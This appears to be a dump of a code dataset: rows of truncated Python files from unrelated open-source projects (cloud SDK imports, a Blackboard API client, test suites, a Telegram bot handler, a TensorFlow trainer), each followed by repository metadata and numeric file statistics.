"Apache-2.0"
] | null | null | null | # coding: utf-8
from __future__ import absolute_import
# import ProjectManClient
from huaweicloudsdkprojectman.v4.projectman_client import ProjectManClient
from huaweicloudsdkprojectman.v4.projectman_async_client import ProjectManAsyncClient
# import models into sdk package
from huaweicloudsdkprojectman.v4.model.add_... | 95.94697 | 151 | 0.929728 | 1,339 | 12,665 | 8.448096 | 0.153846 | 0.306931 | 0.328854 | 0.377475 | 0.567008 | 0.530852 | 0.472419 | 0.307815 | 0.154703 | 0.035714 | 0 | 0.027078 | 0.040663 | 12,665 | 131 | 152 | 96.679389 | 0.903951 | 0.005369 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1c23e6da51bd129c7b83aa84a643bd9df97623df | 23,127 | py | Python | py_blackboard/client.py | PaoloRollo/py-blackboard | c8d7f49ff7b21f4eba6914d88cb89521befbd226 | [
"MIT"
] | null | null | null | py_blackboard/client.py | PaoloRollo/py-blackboard | c8d7f49ff7b21f4eba6914d88cb89521befbd226 | [
"MIT"
] | null | null | null | py_blackboard/client.py | PaoloRollo/py-blackboard | c8d7f49ff7b21f4eba6914d88cb89521befbd226 | [
"MIT"
] | null | null | null | import jwt
import requests
from datetime import datetime, timedelta
APPLICATION_JSON = "application/json"
APPLICATION_FORM_URLENCODED = "application/x-www-form-urlencoded"
class BlackboardClient:
"""
BlackboardClient class that handles all the blackboard requests.
"""
url = None
key = None
sec... | 41.005319 | 165 | 0.594586 | 2,732 | 23,127 | 4.907394 | 0.061493 | 0.065637 | 0.057209 | 0.064891 | 0.805326 | 0.76736 | 0.759156 | 0.719251 | 0.705005 | 0.698143 | 0 | 0.005765 | 0.280019 | 23,127 | 564 | 166 | 41.005319 | 0.799411 | 0.252735 | 0 | 0.510135 | 0 | 0 | 0.228985 | 0.040087 | 0 | 0 | 0 | 0 | 0.003378 | 1 | 0.10473 | false | 0 | 0.010135 | 0 | 0.236486 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1c8540bd8ea19163a65165b2196e477968b51d36 | 213 | py | Python | audioman/errors/exceptions.py | ThePickwickClub/audioman | e2165e3a0605dc892b6a32a87dcde3a7c39a208a | [
"MIT"
] | 1 | 2021-08-12T13:02:39.000Z | 2021-08-12T13:02:39.000Z | audioman/errors/exceptions.py | PickwickSoft/audioman | c2c6628a74ca5dbd65a3ab08c237b441bcf98857 | [
"MIT"
] | 1 | 2021-08-21T14:23:46.000Z | 2021-08-21T14:23:46.000Z | audioman/errors/exceptions.py | ThePickwickClub/audioman | e2165e3a0605dc892b6a32a87dcde3a7c39a208a | [
"MIT"
] | null | null | null | class ChromaprintNotFoundException(Exception):
pass
class FingerprintGenerationError(Exception):
pass
class WebServiceError(Exception):
pass
class FileNotIdentifiedException(Exception):
pass
| 14.2 | 46 | 0.784038 | 16 | 213 | 10.4375 | 0.4375 | 0.311377 | 0.323353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.159624 | 213 | 14 | 47 | 15.214286 | 0.932961 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0.25 | 1 | 0 | 1 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
98f7c1c2aae667970da2704e757cf0c8c1d0e851 | 44 | py | Python | chacha_wb_accel/cocotbext/wishbone/__init__.py | rpls/wrapped_chacha_wb_accel | f824a3a653bb15950340c3f69e35ae5e8010813c | [
"Apache-2.0"
] | 1 | 2022-03-17T00:18:31.000Z | 2022-03-17T00:18:31.000Z | chacha_wb_accel/cocotbext/wishbone/__init__.py | mattvenn/wrapped_chacha_wb_accel | c6dde87891d9b51252c4497bf0578a702ab66177 | [
"Apache-2.0"
] | 5 | 2021-06-09T11:18:37.000Z | 2021-12-09T14:49:30.000Z | chacha_wb_accel/cocotbext/wishbone/__init__.py | mattvenn/wrapped_chacha_wb_accel | c6dde87891d9b51252c4497bf0578a702ab66177 | [
"Apache-2.0"
] | 1 | 2021-06-14T16:01:22.000Z | 2021-06-14T16:01:22.000Z | from .driver import *
from .monitor import * | 22 | 22 | 0.75 | 6 | 44 | 5.5 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.159091 | 44 | 2 | 22 | 22 | 0.891892 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c71ab0454b77ab5101b8cd6f3fbc227d38bdad44 | 2,783 | py | Python | l22_aero_code/src/plot_points.py | vas0x59/ior2020_uav_L22_AERO | 55780923a637109f07f270ca6acbaf0f7669065c | [
"MIT"
] | 4 | 2020-07-04T18:34:23.000Z | 2021-09-17T10:50:12.000Z | l22_aero_code/src/plot_points.py | vas0x59/ior2020_uav_L22_AERO | 55780923a637109f07f270ca6acbaf0f7669065c | [
"MIT"
] | null | null | null | l22_aero_code/src/plot_points.py | vas0x59/ior2020_uav_L22_AERO | 55780923a637109f07f270ca6acbaf0f7669065c | [
"MIT"
] | 2 | 2020-06-27T15:11:17.000Z | 2020-10-08T00:31:26.000Z | import numpy as np
import matplotlib.pyplot as plt
points = [(0, 0), (0, 0.3), (0, 0.6), (0, 0.8999999999999999), (0, 1.2), (0, 1.5), (0, 1.8), (0, 2.1), (0, 2.4), (0, 2.6999999999999997), (0, 2.9999999999999996), (0, 3.2999999999999994), (0, 3.599999999999999), (0, 3.899999999999999), (0.16666666666666666, 0.0), (0.3... | 309.222222 | 2,630 | 0.593604 | 558 | 2,783 | 2.960573 | 0.091398 | 0.039952 | 0.014528 | 0.048426 | 0.018765 | 0 | 0 | 0 | 0 | 0 | 0 | 0.622733 | 0.108516 | 2,783 | 9 | 2,631 | 309.222222 | 0.043128 | 0 | 0 | 0 | 0 | 0 | 0.000359 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
c72433e830e740108a2af670037a5923190059d6 | 100 | py | Python | MesaHandler/MesaFileHandler/__init__.py | muma7490/PyMesaHandler | f859c8772eb2c265496a3b6f8426b2845fbc8e34 | [
"MIT"
] | null | null | null | MesaHandler/MesaFileHandler/__init__.py | muma7490/PyMesaHandler | f859c8772eb2c265496a3b6f8426b2845fbc8e34 | [
"MIT"
] | 1 | 2020-12-30T06:02:40.000Z | 2020-12-30T06:20:47.000Z | MesaHandler/MesaFileHandler/__init__.py | muma7490/PyMesaHandler | f859c8772eb2c265496a3b6f8426b2845fbc8e34 | [
"MIT"
] | 2 | 2019-01-09T08:21:05.000Z | 2019-01-16T12:19:52.000Z | from .MesaEnvironmentHandler import *
from .MesaFileInterface import *
from .MesaFileAccess import * | 33.333333 | 37 | 0.83 | 9 | 100 | 9.222222 | 0.555556 | 0.240964 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11 | 100 | 3 | 38 | 33.333333 | 0.932584 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c76108f2973b7f1e5f7487e1034de5ef793472c6 | 7,807 | py | Python | lace/test_intersection.py | bodylabs/lace | a6ae80787c8c6ba197bd9bad9254b503f4e05c73 | [
"BSD-2-Clause"
] | 2 | 2020-05-30T10:28:34.000Z | 2021-02-17T13:47:23.000Z | lace/test_intersection.py | lace/lace | a6ae80787c8c6ba197bd9bad9254b503f4e05c73 | [
"BSD-2-Clause"
] | 11 | 2019-08-29T16:53:29.000Z | 2021-07-01T06:24:37.000Z | lace/test_intersection.py | bodylabs/lace | a6ae80787c8c6ba197bd9bad9254b503f4e05c73 | [
"BSD-2-Clause"
] | 5 | 2017-05-09T16:18:16.000Z | 2018-05-08T16:16:09.000Z | import unittest
import numpy as np
from bltest import attr
from lace.mesh import Mesh
from polliwog import Plane, Polyline
from collections import namedtuple
class TestIntersection(unittest.TestCase):
def setUp(self):
self.box_mesh = Mesh(v=np.array([[0.5, -0.5, 0.5, -0.5, 0.5, -0.5, 0.5, -0.5], [0.5, 0.5,... | 41.526596 | 182 | 0.621365 | 1,163 | 7,807 | 4.018917 | 0.108341 | 0.014549 | 0.01733 | 0.019683 | 0.827129 | 0.810869 | 0.787976 | 0.765297 | 0.713308 | 0.707317 | 0 | 0.044801 | 0.225183 | 7,807 | 187 | 183 | 41.748663 | 0.727889 | 0.063533 | 0 | 0.616 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.384 | 1 | 0.088 | false | 0 | 0.048 | 0 | 0.152 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c769324bafabcd0430e406ec38c0a99fda063536 | 2,514 | py | Python | temboo/core/Library/Twitter/Lists/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | 7 | 2016-03-07T02:07:21.000Z | 2022-01-21T02:22:41.000Z | temboo/core/Library/Twitter/Lists/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | null | null | null | temboo/core/Library/Twitter/Lists/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | 8 | 2016-06-14T06:01:11.000Z | 2020-04-22T09:21:44.000Z | from temboo.Library.Twitter.Lists.CreateList import CreateList, CreateListInputSet, CreateListResultSet, CreateListChoreographyExecution
from temboo.Library.Twitter.Lists.CreateMember import CreateMember, CreateMemberInputSet, CreateMemberResultSet, CreateMemberChoreographyExecution
from temboo.Library.Twitter.Lists.Cr... | 139.666667 | 171 | 0.90533 | 187 | 2,514 | 12.171123 | 0.395722 | 0.074692 | 0.126977 | 0.179262 | 0.216608 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047335 | 2,514 | 17 | 172 | 147.882353 | 0.950313 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c7a62ee108a129f7968c690b23f0699ee5c7c2f0 | 215 | py | Python | tests/test_enhanced.py | cowo78/pynextion | 40215761bc8abbd7cc53fefa68e8b78a67b73aed | [
"Apache-2.0"
] | null | null | null | tests/test_enhanced.py | cowo78/pynextion | 40215761bc8abbd7cc53fefa68e8b78a67b73aed | [
"Apache-2.0"
] | 1 | 2019-02-24T14:40:42.000Z | 2019-02-24T14:40:42.000Z | tests/test_enhanced.py | cowo78/pynextion | 40215761bc8abbd7cc53fefa68e8b78a67b73aed | [
"Apache-2.0"
] | null | null | null | from pynextion.enhanced import GPIO
def test_enhanced_gpio():
assert GPIO.Mode.PULL_UP_INPUT_MODE.value == 0x00
"""
def test_enhanced_eeprom():
assert ...
def test_enhanced_rtc():
assert ...
"""
| 13.4375 | 53 | 0.688372 | 28 | 215 | 4.964286 | 0.571429 | 0.151079 | 0.323741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017143 | 0.186047 | 215 | 15 | 54 | 14.333333 | 0.777143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033058 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c7a966cc9497b71307d1fe3df7fef1cdbbf3973c | 80 | py | Python | probeplanner/__init__.py | brainglobe/probeplanner | 84f5d2941e5070adbd327b11882955c613b2d2bf | [
"MIT"
] | 3 | 2021-02-25T12:28:31.000Z | 2021-02-26T09:28:02.000Z | probeplanner/__init__.py | brainglobe/probeplanner | 84f5d2941e5070adbd327b11882955c613b2d2bf | [
"MIT"
] | 6 | 2021-02-25T12:36:31.000Z | 2021-03-02T09:27:25.000Z | probeplanner/__init__.py | brainglobe/probeplanner | 84f5d2941e5070adbd327b11882955c613b2d2bf | [
"MIT"
] | 1 | 2021-03-19T01:20:32.000Z | 2021-03-19T01:20:32.000Z | from probeplanner.planner import Planner
from probeplanner.viewer import Viewer
| 26.666667 | 40 | 0.875 | 10 | 80 | 7 | 0.5 | 0.457143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 80 | 2 | 41 | 40 | 0.972222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c7bf97c4927d4379001bce12f9b077410777efce | 85,328 | py | Python | src/plugin/resources.py | ibiroos/FloodTool | 5b6af01a1d1648e666909df6427ec1cfd1cc668a | [
"NetCDF"
] | null | null | null | src/plugin/resources.py | ibiroos/FloodTool | 5b6af01a1d1648e666909df6427ec1cfd1cc668a | [
"NetCDF"
] | null | null | null | src/plugin/resources.py | ibiroos/FloodTool | 5b6af01a1d1648e666909df6427ec1cfd1cc668a | [
"NetCDF"
] | null | null | null | # -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt5 (Qt v5.9.7)
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore
qt_resource_data = b"\
\x00\x00\x04\x0a\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x17\x0... | 63.820494 | 103 | 0.727088 | 20,596 | 85,328 | 3.010439 | 0.014857 | 0.195765 | 0.289438 | 0.380498 | 0.133784 | 0.129961 | 0.127623 | 0.124236 | 0.123462 | 0.122591 | 0 | 0.328264 | 0.016642 | 85,328 | 1,336 | 104 | 63.868263 | 0.410676 | 0.00177 | 0 | 0.101515 | 0 | 0.966667 | 0.000047 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0.001515 | false | 0 | 0.000758 | 0 | 0.002273 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c7e7a41416952dfe6bec4c280efaafcef6f05570 | 43 | py | Python | object_detection_pixell/models/__init__.py | Arshad9544/object_detection_pixell | 972a5adc63c417541e193971b0ae9d1619079115 | [
"BSD-3-Clause"
] | 7 | 2021-02-24T05:57:06.000Z | 2021-05-25T08:00:54.000Z | object_detection_pixell/models/__init__.py | Arshad9544/object_detection_pixell | 972a5adc63c417541e193971b0ae9d1619079115 | [
"BSD-3-Clause"
] | 3 | 2021-03-18T08:04:05.000Z | 2021-06-23T13:43:50.000Z | object_detection_pixell/models/__init__.py | Arshad9544/object_detection_pixell | 972a5adc63c417541e193971b0ae9d1619079115 | [
"BSD-3-Clause"
] | 3 | 2021-05-21T22:50:07.000Z | 2022-01-11T06:15:47.000Z | from .pcloud_to_box3d import PCloudToBox3D
| 21.5 | 42 | 0.883721 | 6 | 43 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051282 | 0.093023 | 43 | 1 | 43 | 43 | 0.871795 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4004375f40bbd3f013e449a5477626935f42b0b5 | 71,125 | py | Python | src/plugins/callback_data1.py | SaloxiddinTursunaliev/TelegramTaxiBot | cc7f8b1765a5a0e7949cfa181429c9788f5ca082 | [
"Apache-2.0"
] | null | null | null | src/plugins/callback_data1.py | SaloxiddinTursunaliev/TelegramTaxiBot | cc7f8b1765a5a0e7949cfa181429c9788f5ca082 | [
"Apache-2.0"
] | null | null | null | src/plugins/callback_data1.py | SaloxiddinTursunaliev/TelegramTaxiBot | cc7f8b1765a5a0e7949cfa181429c9788f5ca082 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import time
from datetime import datetime
@bot.callback_query_handler(func=lambda call: True)
def callback_inline(call):
cur.execute('SELECT * from language where id = %s', [str(call.from_user.id)])
record = cur.fetchall()
for row in record:
userid = row[0]
userlang = row[1]
... | 52.068082 | 394 | 0.595037 | 7,146 | 71,125 | 5.770921 | 0.066191 | 0.115788 | 0.021436 | 0.022551 | 0.806348 | 0.788744 | 0.749315 | 0.720774 | 0.702175 | 0.694367 | 0 | 0.020797 | 0.292865 | 71,125 | 1,365 | 395 | 52.106227 | 0.796978 | 0.038018 | 0 | 0.614542 | 0 | 0.012948 | 0.139789 | 0.019445 | 0 | 0 | 0 | 0 | 0 | 1 | 0.013944 | false | 0.000996 | 0.001992 | 0 | 0.015936 | 0.00498 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
402cc6e105dc10d680e233d5269a378be696f9e2 | 1,430 | py | Python | tests/internal/cloud_local_reporting_test.py | bbornhau/python-opensdk | f6f6baf202598c9d234b3314f8e44fbd10a0f427 | [
"Apache-2.0"
] | 38 | 2021-02-04T06:38:13.000Z | 2022-03-25T05:41:28.000Z | tests/internal/cloud_local_reporting_test.py | bbornhau/python-opensdk | f6f6baf202598c9d234b3314f8e44fbd10a0f427 | [
"Apache-2.0"
] | 47 | 2020-07-08T05:13:03.000Z | 2021-02-01T10:17:58.000Z | tests/internal/cloud_local_reporting_test.py | bbornhau/python-opensdk | f6f6baf202598c9d234b3314f8e44fbd10a0f427 | [
"Apache-2.0"
] | 17 | 2021-02-28T23:46:17.000Z | 2022-01-26T05:02:59.000Z | from src.testproject.enums.report_type import ReportType
from src.testproject.sdk.drivers import webdriver
DEV_TOKEN = "YOUR_DEV_TOKEN"
def test_local_report():
driver = webdriver.Chrome(
token=DEV_TOKEN,
project_name="Report Decorator Project",
job_name="Report Decorator Job",
re... | 32.5 | 100 | 0.694406 | 179 | 1,430 | 5.368715 | 0.217877 | 0.062435 | 0.118626 | 0.084287 | 0.866805 | 0.866805 | 0.866805 | 0.866805 | 0.866805 | 0.866805 | 0 | 0 | 0.188112 | 1,430 | 43 | 101 | 33.255814 | 0.827735 | 0 | 0 | 0.583333 | 0 | 0 | 0.264336 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.055556 | 0 | 0.138889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4061e63e5a088c38f7bac374c701d51383f8d764 | 1,079 | py | Python | test/test_fix_links_to_stdlib.py | matthewdeanmartin/pydoc_fork | 174475b15be966f3751d5563b4db0beecc3ab1f9 | [
"MIT"
] | null | null | null | test/test_fix_links_to_stdlib.py | matthewdeanmartin/pydoc_fork | 174475b15be966f3751d5563b4db0beecc3ab1f9 | [
"MIT"
] | 1 | 2022-01-17T16:28:45.000Z | 2022-01-17T16:28:45.000Z | test/test_fix_links_to_stdlib.py | matthewdeanmartin/pydoc_fork | 174475b15be966f3751d5563b4db0beecc3ab1f9 | [
"MIT"
] | null | null | null | import sysconfig
import datetime
import sys
from pydoc_fork import settings
from pydoc_fork.reporter.format_module import getdocloc
def test_getdocloc_datetime():
old = settings.PREFER_DOCS_PYTHON_ORG
settings.PREFER_DOCS_PYTHON_ORG = True
STDLIB_BASEDIR = sysconfig.get_path("stdlib")
# PYTHONDOCS =... | 31.735294 | 86 | 0.721965 | 145 | 1,079 | 5.144828 | 0.275862 | 0.134048 | 0.174263 | 0.193029 | 0.761394 | 0.761394 | 0.761394 | 0.761394 | 0.761394 | 0.648794 | 0 | 0.006645 | 0.163114 | 1,079 | 33 | 87 | 32.69697 | 0.819491 | 0.206673 | 0 | 0.47619 | 0 | 0 | 0.123675 | 0 | 0 | 0 | 0 | 0 | 0.095238 | 1 | 0.095238 | false | 0 | 0.238095 | 0 | 0.333333 | 0.095238 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4088d568f612506ab6d63c3763e39733d180a4f3 | 2,747 | py | Python | RecoLocalMuon/CSCSegment/python/CSCSegmentAlgorithmRU_cfi.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | RecoLocalMuon/CSCSegment/python/CSCSegmentAlgorithmRU_cfi.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | RecoLocalMuon/CSCSegment/python/CSCSegmentAlgorithmRU_cfi.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
RU_ME1A = cms.PSet(
doCollisions = cms.bool(True),
chi2Norm_2D_ = cms.double(35),
chi2_str = cms.double(50.0),
chi2Max = cms.double(100.0),
dPhiIntMax = cms.double(0.005),
dPhiMax = cms.double(0.006),
wideSeg = cms.double(3.0),
minLayersApart = c... | 24.747748 | 60 | 0.585366 | 400 | 2,747 | 3.93 | 0.175 | 0.274809 | 0.076336 | 0.083969 | 0.720102 | 0.706743 | 0.706743 | 0.706743 | 0.706743 | 0.706743 | 0 | 0.108906 | 0.247907 | 2,747 | 110 | 61 | 24.972727 | 0.651985 | 0 | 0 | 0.551402 | 0 | 0 | 0.022578 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.009346 | 0 | 0.009346 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
40aece0cc30d8a5bdd7324eb6a2b51de50857f6f | 67,758 | py | Python | model/trainer_resnet.py | ishine/tf-kaldi-speaker-master | 4b93110c4aa54f4764c58d9ffef3aec2efce39db | [
"Apache-2.0"
] | 18 | 2019-09-11T13:34:03.000Z | 2021-07-19T14:54:49.000Z | model/trainer_resnet.py | ishine/tf-kaldi-speaker-master | 4b93110c4aa54f4764c58d9ffef3aec2efce39db | [
"Apache-2.0"
] | null | null | null | model/trainer_resnet.py | ishine/tf-kaldi-speaker-master | 4b93110c4aa54f4764c58d9ffef3aec2efce39db | [
"Apache-2.0"
] | 5 | 2019-09-18T07:51:17.000Z | 2020-05-27T07:40:09.000Z | import tensorflow as tf
import os
import re
import sys
import time
import numpy as np
from model.common import l2_scaling
from model_src.resnet import resnet
from model.loss import softmax
from model.loss import asoftmax, additive_margin_softmax, additive_angular_margin_softmax
from model.loss import semihard_triplet_l... | 53.436909 | 178 | 0.583341 | 8,050 | 67,758 | 4.731429 | 0.079379 | 0.037282 | 0.013653 | 0.009977 | 0.775441 | 0.760344 | 0.743961 | 0.74131 | 0.725688 | 0.71495 | 0 | 0.004864 | 0.341583 | 67,758 | 1,267 | 179 | 53.479084 | 0.848878 | 0.257298 | 0 | 0.81738 | 0 | 0.003778 | 0.077161 | 0.01154 | 0 | 0 | 0 | 0.002368 | 0.012594 | 1 | 0.020151 | false | 0.012594 | 0.020151 | 0 | 0.060453 | 0.001259 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
40d0631f23574d43b12d283ae4d7c35939e348c4 | 134,101 | py | Python | autotest/ogr/ogr_gmlas.py | CesiumGS/gdal | a52a503d72554226b955e4607eb0c2404c107e74 | [
"MIT"
] | 1 | 2020-02-22T01:28:29.000Z | 2020-02-22T01:28:29.000Z | autotest/ogr/ogr_gmlas.py | AnalyticalGraphicsInc/gdal | a52a503d72554226b955e4607eb0c2404c107e74 | [
"MIT"
] | null | null | null | autotest/ogr/ogr_gmlas.py | AnalyticalGraphicsInc/gdal | a52a503d72554226b955e4607eb0c2404c107e74 | [
"MIT"
] | 2 | 2018-05-08T01:51:34.000Z | 2019-06-26T05:08:56.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
###############################################################################
# $Id$
#
# Project: GDAL/OGR Test Suite
# Purpose: GMLAS driver testing.
# Author: Even Rouault, <even dot rouault at spatialys dot com>
#
